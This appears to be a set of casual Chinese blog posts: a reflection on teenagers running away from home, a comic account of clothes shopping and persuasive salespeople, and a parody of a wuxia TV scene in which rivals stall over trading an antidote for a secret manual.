我和我的同学10个有9个在学龄时试过离家出走，我们将来的孩子一定也会有人离家出走，可是在我们离家出走的时候如果有人劝诫我们：你们不要这样，你们的孩子如果也这样你该会如何着急啊！－－我们不会接受（好像泄漏天机的人常常被当作SB）。到了我们能够接受这样的劝诫时，我们又不会离家出走了。后知后觉使人生变得多那么嗨多姿呀又多彩。。。
所以我只做一个倾听者，而且想象着这个17岁的倾诉者将来也会成为一个相同的倾听者。
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我不喜欢逛街，我不喜欢买衣服，尤其不喜欢在买衣服的时候被人先是夸赞“苗条”，“天生的衣服架子”然后又显出为难的表情说我喜欢的那一款没有更大一号的了。我本是女娇娥，何以次次都以买男式衣服收场？
当然好在现在已经是男女不分的21世纪，上次在一家商店就看见一位帅GG试穿一件吸腰的小皮革西服，又黑又亮，肩膀上还拉着红色的杠杠，他对着镜子扭来扭去，不停问身边的营业员“好看么？好看么？”回答当然是好看－－尤其是那杨柳小蛮腰，被衬托的多么诱人那！结果他就买了下来。靠，不穿的时候还能挂在墙上当黑板。
千辛万苦左挑右选买回来的衣服免不了要被一群死党们抢着试穿，真该死啊，穿在别人身上就是显得更TM好看。然后多半会有人表示不久以后也要买一件相同的。这样就严重影响了我要穿新衣服臭屁的紧迫欲望－－就好像有人听见指甲抠在玻璃上就会降低食欲一样。所以买衣服还是和死党们同去的好，算准了她们不会穿的衣服，我才好放心买。
有时候遇见会说话的营业员，即便是不打算买的衣服，也要憋不住充大头买下来。她们会告诉你你穿上这件衣服实在是太好看拉，太合身拉，你简直生下来就是随着这件衣服长的一般，最要命的是，她们会激你，说，没有一定气质的人还不定敢穿。我想，好吧，我就买下来穿吧，我要让你们看看，什么叫做有气质，也就是说有气：air，和质：
quality!
可是也有不会说话的，比如买内衣的时候，刚跨进店门就被告知：小一号的在那边。。。。
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A（吐血）：你，你暗器里有毒！咳咳. B：靠，老子不放毒能撂倒你么，横！
C：你这个败类，快把解药交出来！
B：哈哈哈哈，要解药也容易，除非你们拿秘籍来交换！
A：你居然为了秘籍这样害我们，你太无耻了！
B：挖哈哈哈，你们要秘籍有何用？不如拿来换取性命。
A：好，C，把秘籍给他。
C：不行，你先交出解药，我们才给你秘籍！
B：横，老子才不上你们的鸟当，你们先交出秘籍，我才给解药。
C：你先给解药！
B：你先给秘籍！
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。。。
26分钟45秒后
A（大口大口吐血）：C，把秘籍给他吧，我，我快撑不住了。。。。
C用无比仇恨的眼光瞪着B，手伸入怀里作取书状。
定格，片尾曲，演员表，第N集完，广告。
靠，靠，靠！！
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